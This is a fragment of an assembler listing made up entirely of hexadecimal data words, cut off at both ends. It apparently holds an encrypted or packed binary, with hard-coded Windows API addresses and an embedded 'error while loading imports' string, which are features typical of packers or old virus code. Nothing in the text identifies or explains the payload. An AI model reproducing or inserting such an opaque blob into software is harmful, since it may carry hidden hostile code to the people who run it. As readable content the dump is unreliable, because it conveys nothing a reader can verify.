2CB2E34Dh, 24FD8D8Dh, 573CE323h, 59D2B072h dd 58692867h, 21A4323Ch, 2035E588h, 6FF763B2h, 7AB7FAF5h dd 521AE21Ah, 6B658CCBh, 692D7CC6h, 4FBFC40Fh, 377F9492h dd 5087208Fh, 4DC759DFh, 72F3E395h, 1DE69840h, 54109069h dd 689E06D2h, 13E8h, 7C1BFC00h, 93C4B3C7h, 0BDB3EE27h dd 2D60D44Ch, 0DA614D73h, 59F7F280h, 6FC5BA66h, 6E1CC181h dd 14E90000h, 0D9000000h, 0CAC265BBh, 9241F9Eh, 85A48A41h dd 87CC6CE1h, 0B8E8207Ah, 1B59h, 12E9h, 0FA831A00h, 9EE43CE3h dd 4EB8CDF1h, 6953755Ch, 0FF709FF3h, 0CBBA6631h, 81F85F1Dh dd 53A768C7h, 7FBA6629h, 0ECC7813Bh, 815ACB9Dh, 642A57F7h dd 0EE937h, 6FDF0000h, 4DA50DFEh, 50AD6D73h, 578BA8D6h dd 0EA816057h, 1C77E2Fh, 0CE9h, 2E18300h, 72B57239h, 29ED54F9h dd 18F616Dh, 7226F381h, 0E9832F8Ch, 0DF8B6604h, 0A0850F48h dd 81FFFFFFh, 51054FD2h, 5F8D8D57h, 89060DE8h, 70A018Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 45EE2180h, 6860F4Ah, 89000000h, 70345BDh dd 0A585C706h, 0A0060714h, 81000068h, 0BE027DD2h, 0D585C700h dd 6072Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 822EC355h, 2ECA819Eh, 5033CD53h dd 0FE9h, 44597000h, 0CC2C8927h, 9BF943C7h, 0BE0C1889h dd 4DB5FF58h, 8B060705h, 7188195h, 1995FF06h, 8906071Ch dd 732B585h, 0FF006A06h, 71B6995h, 0EBC08B06h, 8A8AD4Bh dd 684D58FFh, 74BEDD31h, 3A0B7CBFh, 97B82C15h, 3F826910h dd 1FF4F5ACh, 511F313Ah, 3A89BD5Eh, 957DD5FBh, 0E5C24E66h dd 0A7638954h, 55AE566Fh, 0E0B65CE1h, 27E4738Eh, 7B549E9h dd 782D4F5Fh, 0C187F9D7h, 20796929h, 127E9h, 765B5000h dd 4EEFAC73h, 15h, 206E4100h, 6F727245h, 61682072h, 636F2073h dd 65727275h, 68772064h, 20656C69h, 64616F6Ch, 20676E69h dd 6F706D69h, 737472h, 77E7AC37h, 77E75CEBh, 77E73C49h dd 77F7E21Fh, 77F7E300h, 77E60000h, 7, 5 dup(0) dd 77E7A5FDh, 2Ch dup(0) dd 2, 0C706E148h, 63921DF4h, 8F96A6CFh, 34126433h, 0B11C1311h dd 35180335h, 2B616642h, 0F29E3572h, 321177A9h, 1F90EF88h dd 0BF136174h, 3BBFCEBFh, 69C69917h, 57A8E5D0h, 32136149h dd 61457156h, 321177A9h, 1F90EF88h, 0BF136174h, 3BB2F1BFh dd 69C69917h, 0B1D5EDD0h, 3FFC65F9h, 0B61A6624h, 32156601h dd 82EBE305h, 0E2EA6049h, 833BE3AFh, 0E2EA601Ch, 2730E34Eh dd 5A436043h, 0AEBDDE70h, 2EA8D3EEh, 0B798608Fh, 341F16B0h dd 0B79CB6DDh, 341264C8h, 0DBC6E305h, 0BF456049h, 3FFDD2A7h dd 0A7EA3617h, 341249E9h, 1280E383h, 32156025h, 0B7D36611h dd 341273ADh, 5B7C0E01h, 87EAE850h, 34124F28h, 0A98E305h dd 0E2EA6043h, 2E1CE3ABh, 0B7D36016h, 341273ADh, 594B0E07h dd 87EAFA45h, 34124F28h, 0A98E305h, 0E2EA6043h, 0DAFEE3ABh dd 0B7D3601Ch, 341273ADh, 5A3C0E10h, 87EA8840h, 34124F28h dd 0A98E305h, 0E2EA6043h, 0DAFAE3ABh, 0B7D3601Ch, 341273ADh dd 0AD70E01h, 87EABC42h, 34124F28h, 0A98E305h, 0E2EA6043h dd 0DAE6E3ABh, 8F96601Ch, 34125439h, 77906944h, 0F4156622h dd 35004394h, 0B47D238Eh, 0CDEF463Ah, 353C5F97h, 0BF90EB17h dd 0CD1361B0h, 0C590EF94h, 0F4136BCAh, 35004394h, 0F17D2A8Eh dd 0CDF54094h, 353C5F97h, 0BF90EB17h, 0CD1361B0h, 0C990EF94h dd 0DB136BCAh, 32156651h, 2730E34Eh, 5A476043h, 8E5F822Fh dd 3FF4D3EEh, 0B798608Fh, 34125EC9h, 0B79CB6DDh, 34188EE6h dd 2730E34Eh, 5A476043h, 94592C6Ah, 3FF4D3EEh, 0B798608Fh dd 34125EC9h, 0B79CB6DDh, 34188EEAh, 2730E34Eh, 5A476043h dd 0CF57D2C8h, 1B2CD3EEh, 0B798608Fh, 34125EC9h, 0B79CB6DDh dd 34126FC8h, 2730E34Eh, 5A626043h, 0C182CE81h, 38CD3EEh dd 0B798608Fh, 34125EC9h, 0B79CB6DDh, 34127C40h, 2730E34Eh dd 5A476043h, 0B8C85735h, 1B2CD3EEh, 0B798608Fh, 34125EC9h dd 0B79CB6DDh, 34126368h, 2730E34Eh, 5A436043h, 0E60A0B1Bh dd 2EA8D3EEh, 0B798608Fh, 341F16B0h, 0B79CB6DDh, 34126BE0h dd 2730E34Eh, 5A526043h, 0B3C97658h, 1B2CD3EEh, 0B798608Fh dd 34125EC9h, 0B79CB6DDh, 34127220h, 2730E34Eh, 5A526043h dd 0B81AD3C0h, 1B2CD3EEh, 0B798608Fh, 34125EC9h, 0B79CB6DDh dd 34188F0Ah, 3E5CDB0Bh, 3D156043h, 321337A6h, 1790A011h dd 7E13619Dh, 0E8098F2Ch, 0BA099FBh, 0BF136138h, 352DEB0Dh dd 0BBC59942h, 3FFC61A7h, 1790A017h, 7E13619Dh, 46CBA82Ch dd 0BA099FFh, 0BF136138h, 352DEB0Dh, 0BBC59942h, 3FFC6DA7h dd 1790A017h, 7E13619Dh, 0B397592Ch, 0BA09995h, 0BF136138h dd 352DEB0Dh, 0BBC59942h, 3FFC69A7h, 1790A017h, 7E13619Dh dd 1D557E2Ch, 0BA09991h, 0BF136138h, 352DEB0Dh, 0BBC59942h dd 3FFC69A7h, 1790A017h, 7413619Dh, 0EC13722Ch, 0BA09998h dd 0BF136138h, 352DEB0Dh, 0BBC59942h, 3FFC71A7h, 1790A017h dd 7513619Dh, 0EE051C2Ch, 0BA099A3h, 0BF136138h, 352DEB0Dh dd 0BBC59942h, 3FFC79A7h, 1790A017h, 7513619Dh, 0B59BCA2Ch dd 0BA099CDh, 0BF136138h, 352DEB0Dh, 0BBC59942h, 3FFC45A7h dd 1790A017h, 7513619Dh, 0A8B2B42Ch, 0BA099F6h, 0BF136138h dd 352DEB0Dh, 0BBC59942h, 3FFC41A7h, 1790A017h, 7513619Dh dd 0F32C622Ch, 0BA09998h, 0BF136138h, 352DEB0Dh, 0BBC59942h dd 3FFC4DA7h, 0FFA8E517h, 3213618Ah, 0B7D34631h, 34127307h dd 1F720E56h, 87EA86FAh, 34124F7Dh, 0A98E3AFh, 0E2EA6016h dd 0DB3AE301h, 0B7D36049h, 34127307h, 81A40E56h, 87EAE8A1h dd 34124F7Dh, 0A98E3AFh, 0E2EA6016h, 0DB26E301h, 0B7D36049h dd 34127307h, 78B20E52h, 87EAA6FEh, 34124F7Dh, 0A98E3AFh dd 0E2EA6016h, 0DB22E301h, 0B7D36049h, 34127307h, 5EFE0E5Dh dd 87EA9DEEh, 341257DDh, 0A98E3AFh, 0E2EA6016h, 0DBDEE301h dd 0B7D36049h, 34127307h, 0BC400E55h, 87EADDFBh, 34124F7Dh dd 0A98E3AFh, 0E2EA6016h, 0DB2EE301h, 0B7D36049h, 34127307h dd 5CE90E52h, 87EADA06h, 34124F7Dh, 0A98E3AFh, 0E2EA6016h dd 0DB2AE301h, 0B7D36049h, 34127307h, 0CBF0E42h, 87EAA098h dd 34124F7Dh, 0A98E3AFh, 0E2EA6016h, 0DB56E301h, 8F966049h dd 34127507h, 0D2916911h, 0F4156688h, 350043C1h, 37D2024h dd 0CDEFF0DFh, 353C5F3Dh, 0BF90EB42h, 0CD13611Ah, 0AD90EFC1h dd 0F4136B61h, 350043C1h, 0E47D2024h, 0CDE9C12Bh, 353C5F3Dh dd 0BF90EB42h, 0CD13611Ah, 9D90EFC1h, 0F4136B61h, 350043C1h dd 327D2024h, 0CD879AB5h, 353C5F3Dh, 0BF90EB42h, 0CD13611Ah dd 8190EFC1h, 0F4136B61h, 350043C1h, 587D2024h, 0CDE3B25Eh dd 353C5F3Dh, 0BF90EB42h, 0CD13611Ah, 8590EFC1h, 0F4136B61h dd 350043C1h, 0D57D2024h, 0CD81AB41h, 353C5F3Dh, 0BF90EB42h dd 0CD13611Ah, 9190EFC1h, 0F4136B61h, 350043C1h, 97D2024h dd 0CDA44465h, 353C5F3Dh, 0BF90EB42h, 0CD13611Ah, 9590EFC1h dd 0F4136B61h, 350043C1h, 0DF7D2024h, 0CDCA1FFBh, 353C5F3Dh dd 0BF90EB42h, 0CD13611Ah, 9990EFC1h, 0B1136B61h, 3517ABF9h dd 12606624h, 2730E3D7h, 5A46608Fh, 0FCAB861Ah, 1B2CD3DDh dd 0B7986016h, 34125E05h, 0B79CB6BBh, 34188F65h, 2730E3D7h dd 5A52608Fh, 0F5A438C3h, 1B2CD3DDh, 0B7986016h, 34125E05h dd 0B79CB6BBh, 34188F69h, 30D8DB92h, 4715608Fh, 1790A064h dd 75136137h, 506B6379h, 0BA0996Eh, 0BF13616Dh, 352DEBA7h dd 0BBC59917h, 3FFC290Dh, 1790A042h, 71136137h, 481C9079h dd 0BA0991Ah, 0BF13616Dh, 352DEBA7h, 0BBC59917h, 3FFC350Dh dd 1790A042h, 71136137h, 13824679h, 0BA09974h, 0BF13616Dh dd 352DEBA7h, 0BBC59917h, 3FFC310Dh, 0FFA8E542h, 32136120h dd 0B7D32664h, 341273ADh, 9A160E07h, 87EAED22h, 34124F28h dd 0A98E305h, 0E2EA6043h, 0DB4AE3ABh, 0B7D3601Ch, 341273ADh dd 4C00E07h, 87EA8379h, 34124F28h, 0A98E305h, 0E2EA6043h dd 0DB4EE3ABh, 0B7D3601Ch, 341273ADh, 0F40E07h, 87EA8C88h dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB76E3ABh, 0B7D3601Ch dd 341273ADh, 9E220E07h, 87EAE2D3h, 34124F28h, 0A98E305h dd 0E2EA6043h, 0DB72E3ABh, 0B7D3601Ch, 341273ADh, 0A2C10E0Bh dd 87EAF117h, 34124F28h, 0A98E305h, 0E2EA6043h, 0DB7EE3ABh dd 0B7D3601Ch, 341273ADh, 3C170E0Bh, 87EA9F4Ch, 34124F28h dd 0A98E305h, 0E2EA6043h, 0DB7AE3ABh, 0B7D3601Ch, 341273ADh dd 4B5C0E09h, 87EAAE15h, 34124F28h, 0A98E305h, 0E2EA6043h dd 0DB62E3ABh, 0B7D3601Ch, 341273ADh, 7F9C0E09h, 87EABAD5h dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB66E3ABh, 0B7D3601Ch dd 341273ADh, 1F220E11h, 87EAFA39h, 34124F28h, 0A98E305h dd 0E2EA6043h, 0DB6EE3ABh, 0B7D3601Ch, 341273ADh, 0C23F0E07h dd 87EAB4F7h, 34124F28h, 0A98E305h, 0E2EA6043h, 0DB6AE3ABh dd 0B7D3601Ch, 341273ADh, 86FF0E16h, 87EA9B60h, 34124F28h dd 0A98E305h, 0E2EA6043h, 3BCCE3ABh, 0B7D36016h, 341273ADh dd 6B8C0E03h, 87EA84BAh, 34124F28h, 0A98E305h, 0E2EA6043h dd 0DB96E3ABh, 0B7D3601Ch, 341273ADh, 52D70E03h, 87EAD7DFh dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB92E3ABh, 0B7D3601Ch dd 341273ADh, 0CC010E03h, 87EAB984h, 34124F28h, 0A98E305h dd 0E2EA6043h dd 0DB9EE3ABh, 0B7D3601Ch, 341273ADh, 0C07D0E1Bh, 87EAF872h dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB9AE3ABh, 0B7D3601Ch dd 341273ADh, 492A0E0Bh, 87EAA1DEh, 34124F28h, 0A98E305h dd 0E2EA6043h, 0DBAEE3ABh, 0B7D3601Ch, 341273ADh, 5C590E03h dd 87EA9C79h, 34124F28h, 0A98E305h, 0E2EA6043h, 0DBAAE3ABh dd 0B7D3601Ch, 341273ADh, 16D80E03h, 87EAA524h, 34124F28h dd 0A98E305h, 0E2EA6043h, 0DBD6E3ABh, 0B7D3601Ch, 341273ADh dd 52D90E1Bh, 87EAB299h, 34124F28h, 0A98E305h, 0E2EA6043h dd 0DB86E3ABh, 0B7D3601Ch, 341273ADh, 665B0E1Bh, 87EAF8CBh dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB82E3ABh, 0B7D3601Ch dd 341273ADh, 1A5D0E1Bh, 87EAB731h, 34124F28h, 0A98E305h dd 0E2EA6043h, 0DB8EE3ABh, 367F601Ch, 320566E0h, 22150E44h dd 327F6622h, 30CCF3EEh, 0B79C608Fh, 341266F1h, 812CE3AFh dd 0E2EA601Ch, 327D62E2h, 5A156654h, 32154622h, 0A7EA667Bh dd 34126451h, 21F0E3CDh, 0B79C6025h, 34127C84h, 327D26E2h dd 5A156654h, 32146622h, 0A7EA667Bh, 34126451h, 31E0E3CDh dd 879E6025h, 34124F20h, 1DB4FB03h, 879C6043h, 341248B3h dd 1C60FB98h, 0AF9E608Fh, 341249E5h, 0CB966DA9h, 0ED916911h dd 62156682h, 0F2260615h, 3C2CE3ABh, 0EAB6016h, 31156688h dd 54354230h, 1651658Fh, 4A65ED31h, 1231128Bh, 0BB0D18CFh dd 353A0B9Fh, 3DEAE317h, 32156C0Dh, 231B8E44h, 0A3FC6622h dd 63156611h, 0E07EB103h, 0C380EF40h, 58136135h, 22150E15h dd 58476688h, 0EB809944h, 0BB136120h, 353A2794h, 6BC5ED8Eh dd 3205B9ACh, 31B83022h, 0A5314255h, 42B903h, 0B71AC884h dd 0CDEA99DBh, 60EE4D4Fh, 8F9EB103h, 341266F1h, 1EAAFA1h dd 13ECD1h, 369E2049h, 3AFCA7C3h, 3D5FAE11h, 0CDEA8C94h dd 0C5D4ED77h, 309C3C94h, 6011A4A1h, 3C2CE3EEh, 0A79E608Fh dd 3412687Dh, 1D78F31Bh, 0B61A6016h, 32156682h, 0F496381Eh dd 0CD8E8F26h, 6C4F99EEh, 0F54D3FE9h, 350357C1h, 32156624h dd 4390A111h, 3213618Bh, 0B1156644h, 3FFC659Fh, 0B61A6617h dd 32156680h, 0DCDFBC9h, 0E1EA602Fh, 1A9CE3EEh, 8F96608Fh dd 34124ECDh, 50976946h, 0F5156611h, 353DEF0Dh, 32156742h dd 87980622h, 34188FCAh, 3453DB05h, 0CC3E604Ah, 8F9EB1A9h dd 341266A4h, 1EAAF0Bh, 13EC84h, 369E20E3h, 3AFCA796h dd 3D5FAEBBh, 0CDEA8CC1h, 0C5D4EDDDh, 0EF905FC1h, 3D13619Ch dd 321571C0h, 1BA8E522h, 32136110h, 321FE387h, 0B7D26644h dd 341246B7h, 32156610h, 2C3ADFE9h, 7AAF5713h, 9F725B0Ch dd 1C84D398h, 74D2608Fh, 321566B8h, 0DCFB5B22h, 0B71A88FFh dd 321566A8h, 0EFC858C5h, 0B71ABBFFh, 32156605h, 3215604Fh dd 0F4966644h, 0A3A0EF26h, 0DB13613Fh, 32156E71h, 0B726BECFh dd 341246B7h, 1916AED0h, 22D5A74Ah, 0AF9CA777h, 341246B7h dd 3315662Ch, 77966988h, 0B3156644h, 89AEDD1Ch, 0B9069AAh dd 0F5156688h, 32156642h, 36D3E522h, 1C84D398h, 0AF9E608Fh dd 341249E5h, 0E29E6DA9h, 19D7ED71h, 3535830Dh, 30F5A742h dd 2ADCE321h, 9F836016h, 769CA78Bh, 0DB747A60h, 3215665Eh dd 0FB263440h, 1D54F303h, 302E6043h, 322DE22Dh, 0F0966611h dd 0BF2E278Ch, 34124929h, 0CDFDE32Dh, 879899EEh, 34188E48h dd 1604DBC9h, 0B6B96025h, 349169D1h, 98156688h, 0CDEA97ADh dd 3215DEDDh, 0BF986611h, 34122DC2h, 0BF9C87BBh, 3412681Bh dd 0B9433F4Bh, 353AC715h, 0B91EED42h, 351B5FA7h, 31F5B717h dd 351A4B0Dh, 0A4E35542h, 0D2D4CB44h, 0FB906513h, 0A4136190h dd 6CD465E9h, 1E60DBA1h, 3D146016h, 32155F0Ch, 0B985D44h dd 3D13610Bh, 32154B95h, 0AB985D88h, 3D136175h, 321547A6h dd 97985D11h, 3D1361B8h, 321573C0h, 2C88EB22h, 0CD136BEFh dd 0BBEDED5Bh, 351A0FC1h, 34A18F24h, 0AF986611h, 34189896h dd 8F96B5BBh, 34124A57h, 2F916911h, 9156688h, 350D53C1h dd 3E916924h, 9156611h, 353C3B0Dh, 37906942h, 0DB156622h dd 0CDEA99A8h, 2E1CE3B3h, 0B71A6043h, 3215663Ah, 0A4DB92h dd 3D15608Fh, 32156DC1h, 3790EB22h, 0DB136BA2h, 0CDEA991Dh dd 2E1CE37Fh, 0B61A6025h, 0CDEA9998h, 0DAA9DB0Bh, 3D146049h dd 321571A7h, 29905D11h, 3D136B61h, 32156DC1h, 9290EB22h dd 0DB153EF7h, 0CDEA99E5h, 8F969977h, 34126A6Bh, 55916911h dd 915668Bh, 3FFC61C1h, 0B9121324h, 351CD394h, 0B72E218Eh dd 34188F4Bh, 0B79E6157h, 341260F8h, 39905DCFh, 47136BADh dd 0F90ED25h, 75136108h, 0DB06E3B3h, 35606049h, 2C54E3A9h dd 9526016h, 3FFC710Dh, 0B9121342h, 35277BA7h, 0B72E2117h dd 34188F93h, 0B79E6131h, 34127C97h, 2D905D56h, 47136B61h dd 0E390ED43h, 7513613Eh, 0DB36E32Ah, 35606085h, 2AA4E3CFh dd 9526025h, 3FFC4194h, 0B912138Eh, 350B6FC1h, 0B72E2124h dd 34188F3Ah, 0B79E61FDh, 34127AE1h, 1905D65h, 47136BF8h dd 0D390ED8Fh, 7513614Fh, 0DB3AE319h, 2260601Ch, 30D8DB0Bh dd 47156043h, 4F90ED25h, 75136132h, 10DB0Bh, 46156043h dd 89905D2Dh, 47136BF8h, 0FB90ED8Fh, 7513616Ah, 2130DBA1h dd 46156016h, 6BA8E5FAh, 32136157h, 0B72E0F56h, 34188F8Eh dd 0B79E61FDh, 341263ADh, 9D905D65h, 47136BF8h, 7B90ED8Fh dd 7513615Ah, 0DBB6E319h, 3560601Ch, 2814E303h, 9526043h dd 3FFCD5A7h, 0B9121317h, 3534130Dh, 0B72E2142h, 34188F95h dd 0B79E6164h, 34124B89h, 95905D03h, 47136BCBh, 0E790ED16h dd 751361A5h, 0DBBEE37Fh, 3560602Fh, 3FCE39Ah, 0B152608Fh dd 35063FF9h, 0B61A6624h, 3215641Bh, 0DB22E3B3h, 35606049h dd 13C4E3A9h, 9526016h, 3FFCAD0Dh, 0B9121342h, 35070FA7h dd 0B72E2117h, 34188FB3h, 0B79E6131h, 34127ABBh, 0D905D56h dd 47136B61h, 5390ED43h, 75136134h, 0DB56E32Ah, 35606085h dd 2898E3CFh, 9526025h, 3FFC2194h, 0B105138Eh, 3517ABF9h dd 35606624h, 1458E39Ah, 952608Fh, 3FFC2DC1h, 0B9121324h dd 3535DF94h, 0B72E218Eh, 34188F0Bh, 8F967657h, 341264DCh dd 0B9121388h, 35007FC1h, 0B72E2124h, 34188F42h, 0B79E61FDh dd 34127BBDh, 65905D65h, 47136BF8h, 0EF90ED8Fh, 75136158h dd 0DB4AE319h, 2260601Ch, 30D8DB0Bh, 47156043h, 7B90ED25h dd 7513611Eh, 0DB4EE3B3h, 22606049h, 30D8DBA1h, 47156016h dd 0F90ED8Fh, 7513615Ch, 0DB76E319h, 3560601Ch, 1460E303h dd 9526043h, 3FFC01A7h, 0B9121317h, 3519DB0Dh, 0B72E2142h dd 34188F49h, 0B79E6164h, 341271EDh, 5D905D03h, 47136BCBh dd 0D390ED16h, 7513618Bh, 0DB66E37Fh, 3560602Fh, 3DCE39Ah dd 952608Fh, 3FFC11C1h, 0B9121324h, 3508B394h, 0B72E218Eh dd 34188F3Fh, 0B79E6157h, 34127780h, 4D905DCFh, 47136BADh dd 9790ED25h, 7513610Bh, 3BCCE3B3h, 35606043h, 3BB4E3A9h dd 9526016h, 3FFCE50Dh, 0B9121342h, 3502EFA7h, 0B72E2117h dd 34188F37h, 8F967F31h, 34188FE5h, 0B11C1311h, 35391335h dd 35616642h, 38DCE3A9h, 9526016h, 3FFCA50Dh, 0B10C1342h dd 3FFCA19Fh, 3B606617h, 1E60DB0Bh, 46156043h, 0EB90ED25h dd 7513610Bh, 0DB92E3B3h, 35606049h, 3C58E3A9h, 9526016h dd 3FFCED0Dh, 0B9121342h dd 350213A7h, 0B72E2117h, 34188F07h, 0B79E6131h, 3412623Fh dd 0A1905D56h, 47136B61h, 8F90ED43h, 75136122h, 0DB82E32Ah dd 35606085h, 39C0E3CFh, 9526025h, 3FFCFD94h, 0B912138Eh dd 3534B7C1h, 0CD1E2124h, 3210E21Eh, 0D8FC6688h, 9EA99BFh dd 350F37A7h, 39906917h, 0BF156688h, 3F97F5C1h, 0C9C68F24h dd 0B72E99EEh, 341263F1h, 320DE34Bh, 8F966622h, 34188EADh dd 39906989h, 0BF156644h, 6AF345A7h, 0C9BA8F11h, 0B72E9977h dd 34188EB3h, 3219E22Dh, 0B72E6611h, 34188E73h, 3210E34Bh dd 0A0FC6622h, 8CEA99EAh, 32156688h, 3D1498C7h, 321523A7h dd 0D9905D11h, 3D136B60h, 32156DC1h, 0D690EB22h, 0DB153E73h dd 0CDEA9DE5h, 0DAFAE37Fh, 0B71A602Fh, 3215661Ah, 514FE305h dd 64FC661Ch, 9EA99D9h, 3FFD9594h, 3990698Eh, 0BF156644h dd 6A76F9A7h, 0C92A8F11h, 0F29E9977h, 321567FAh, 3DE36D22h dd 32156394h, 0C9368F88h, 0C29E99BBh, 3C0CD3ABh, 879C6016h dd 341274ADh, 3DFC58C4h, 321540A7h, 336BED11h, 0EC9E988Bh dd 7215A5C5h, 8F2E6622h, 34126808h, 321DE487h, 0C92E6644h dd 3210E02Dh, 0D4FC6611h, 0B9EA9972h, 350683F9h, 790A124h dd 32136110h, 52156688h, 2030D3CDh, 0AF986025h, 341B65EEh dd 0B01AB577h, 32156666h, 0BB12FBAFh, 0E1EA601Dh, 0CDCBE587h dd 879E99BBh, 34127407h, 3320D398h, 0AF98608Fh, 341859C4h dd 0B79EB5DDh, 34126808h, 2030E301h, 0BF746043h, 3C150EBFh dd 0BFC69917h, 3C163615h, 3DC69942h, 32156AA1h, 1790E511h dd 3713619Ah, 0CDEAB8ADh, 4B88EBDDh, 0CD136812h, 3A96695Bh dd 0B1156644h, 0FC62E0h, 0BF156611h, 3E9C6115h, 3DC69942h dd 32156DA1h, 17A0ED11h, 0DB13619Ah, 321561C4h, 2030EBA9h dd 879C6016h, 341274ADh, 0EBE2A86Fh, 96E69709h, 0CDEAF0F8h dd 0EA88EB77h, 0CD136B7Bh, 19D2EDF1h, 35068394h, 6390EF8Eh dd 0B9136147h, 350683A7h, 0BF453117h, 3F552B05h, 0B9C49942h dd 351693A7h, 0B9423617h, 3506830Dh, 0BF983642h, 3418265Eh dd 0E29EB7EEh, 0BF3EAE03h, 341265B1h, 1368DBA1h, 3D156016h dd 32154D0Ch, 8F90ED44h, 19136127h, 35341B94h, 3DD45D8Eh dd 321571C2h, 4790ED22h, 31136120h, 35341B0Dh, 5B90EF42h dd 0DB13612Dh, 32156652h, 7AD4EDD9h, 321A9949h, 0B79C2622h dd 341263ACh, 18E389h, 0B7D26043h, 3412475Fh, 32156611h dd 327D26E2h, 63156654h, 0A7EA6648h, 341264C8h, 3334F377h dd 0B79C6043h, 34125757h, 3D7CE398h, 0CD4C608Fh, 351A0FF1h dd 0C7A09924h, 65136112h, 21F0D377h, 0B7986043h, 3418232Ch dd 0BF14B6EEh, 341247F5h, 3D7CDBCFh, 879E6025h, 341265E4h dd 879EC27Bh, 341248D5h, 0CE53A18Fh, 32156611h, 3710A649h dd 342786Bh, 2478E321h, 0BF9E6016h, 341269E1h, 0F5B86ECDh dd 32159A64h, 879C6611h, 34124819h, 3DEA9EC7h, 321546A7h dd 0EF2BE711h, 3DC8BB55h, 321572C1h, 3213A122h, 0B1156611h dd 879C624Eh, 341248D5h, 0CDE380CBh, 31D5A7EEh, 2478E38Bh dd 8F966043h, 3412689Fh, 0AF916910h, 0B3156688h, 98BFCC7Ah dd 20906988h, 0B1156611h, 74D2624Eh, 321566B8h, 0DBA5F122h dd 321565F8h, 0DAA5F188h, 47A8E514h, 3313610Eh, 322BE21Eh dd 32AD6688h, 0B1156645h, 3FFC659Fh, 0B61A6617h, 32156680h dd 7A5AFBC9h, 0E1EA602Fh, 3D855991h, 32156E0Ch, 37D2E544h dd 321525CBh, 62EDE511h, 321FE487h, 0A2A56644h, 0DBBF3E88h dd 32156635h, 4D95CCD0h, 0B71A8FBBh, 3215663Ah, 0DB16DB92h dd 3D156085h, 32156EC0h, 2D88EB22h, 0CD136B59h, 3652EE5Bh dd 3D7CE3CFh, 0F53E6025h, 99118E92h, 0CE53A125h, 32156644h dd 0CDEA77CBh, 0A3A0EFEEh, 601361A6h, 3295662Ch, 0CD150C22h dd 353A27A4h, 0C380998Eh, 68136149h, 1DB4EBA9h, 33D26016h dd 32156688h, 0BB11A7C7h, 353AC7AFh, 0C7058F17h, 96FC9977h dd 52156642h, 1DB4EBA9h, 3B9E6016h, 0DAEAEB01h, 0A946049h dd 7E51326Ch, 3209E31Eh, 0B3736688h, 1C59623Ch, 3205E32Dh dd 0C29E6611h, 0B913A00Bh, 351887C1h, 33138F24h, 0C29E6611h dd 0FB26B603h, 3D155AE8h, 32153BA6h, 3D385A11h, 0CDEA890Ch dd 3D3B5ABBh, 32155BA6h, 3D255A11h, 3214660Ah, 3D2C5A44h dd 0CDEAB1A4h, 3D545AEEh, 3215960Ah, 3D4F5A44h, 0CDEAA1A4h dd 3D4A5AEEh, 0CDEAD90Ch, 3D745ABBh, 3215BEA0h, 3D6F5A11h dd 0CDEAC90Eh, 32DE8FBBh, 9576622h, 0F09169C7h, 78156688h dd 0CD8F8F05h, 0FB9099DDh, 32A6E21Eh, 87986688h, 341279A5h dd 0C89EACA9h, 3DBB48A1h, 0CDEA9F0Dh, 0C5DA4DBBh, 0B5EC4DFBh dd 0F4B195E6h, 0BF1599CFh, 350A87D1h, 5390ED24h, 0B7136130h dd 28906948h, 0F4156644h, 350043A7h, 0E07D2117h, 0CDC1FC2Fh dd 3509DBF1h, 0C690EB24h, 0CD136C61h, 0E2EA3458h, 0B71AA6C1h dd 3215661Ah, 11E4E39Ah, 0F290608Fh, 320FE34Bh, 0B7D36622h dd 34127334h, 2EFC0EC4h, 87EABF9Eh, 34127A9Fh, 42E1E39Ch dd 0E2EA6082h, 0B7C59916h, 379069E2h, 0DB156611h, 321566A9h dd 0DAEAE3CDh, 6445602Fh, 0A298E39Ch, 0E2EA6082h, 0B71AA64Fh dd 32156627h, 321562F8h, 1651EF88h, 52D60758h, 0DAEAEBA9h dd 0B945601Ch, 0E556549h, 329DF6CFh, 0A79C6622h, 34124870h dd 32159E8Dh, 3E45ED44h, 122CF3ABh, 0B94D6016h, 193142CCh dd 0B905D85h, 3D136102h, 32157693h, 53905D88h, 3D13616Ah dd 321562A1h, 36D70711h, 36D20788h, 32156660h, 1651A122h dd 32156615h, 3210DE88h, 0BF986644h, 34122D68h, 0B87587EEh dd 3DFC5A8Eh, 321558C0h, 3DFD5A22h, 32152495h, 3D1A5A88h dd 321574C0h, 3DD85A22h, 32155995h, 3DFE5A88h, 32152FC0h dd 0B8D60722h, 0D195674Fh, 0B2EEE678h, 0CDFAE34Bh, 0EC9E99DDh dd 3113A592h, 26FC64D6h, 0B9156644h, 0C996677Ch, 1B9169EAh dd 0B9156688h, 334B659Ah, 0DB10A5A1h, 0CDEA99D8h, 334BD087h dd 3D3B8DC7h, 0CDEADAA6h, 321F8FEEh, 4C956688h, 0B71A9845h dd 0CDEA998Fh, 0CDEA06F8h, 61443077h, 9ED55513h, 0D195BEA8h dd 42EEE6E1h, 32F9E287h, 3D296644h, 3230E22Dh, 0DB296611h dd 3391E287h, 0D9296644h, 3000E22Dh, 0D1296611h, 3264E287h dd 0D0296644h, 3056E22Dh, 694A6611h, 0F5D638D1h, 3FFCA9C1h dd 32156024h, 0B20BEC11h, 0C995966Bh, 0D19069C4h, 7CEA99DDh dd 3C0CE39Ah, 0A79E608Fh, 34126771h, 0F196B8A9h, 304B6517h dd 0B01ABEB3h, 3215664Ch, 0B41ABC19h, 0CDEA99AFh, 0D996B9A3h dd 54B80042h, 0B1BEF589h, 0E9C62D7h, 1661EFACh, 17A0EF48h dd 6D136130h, 0B14B3F4Ah, 52FC624Ch, 0F5EA99BEh, 3FFCA9A7h dd 32156417h, 3DCBED88h, 0CB9568F2h, 3A9669A2h, 31156611h dd 3FFC2551h, 0B2156644h, 0EBE299CBh, 32EA8790h, 0EB3E6688h dd 3C0CE3CFh, 0A79E6025h, 34126724h, 2424DB0Bh, 3D146043h dd 3215C5A6h, 3DCD5D11h, 3215FD0Ah, 3DCF5D44h, 0CDEA27A0h dd 329B8FEEh, 0B7D26688h, 34188F8Bh, 32156620h, 841AB89Ah dd 0B2ECE686h, 321DE54Bh, 0EB166622h, 32188F52h, 0DB956688h dd 0B3CC91BBh, 321599C3h, 0B9CC4D11h, 351B7F0Dh, 780ED42h dd 0B1136123h, 350357ACh, 0B61A678Eh, 3215660Ch, 0B01ABE19h dd 32156619h, 0B41ABCB3h, 0CDEA98A2h, 981AD66Ch, 0B2A5689Bh dd 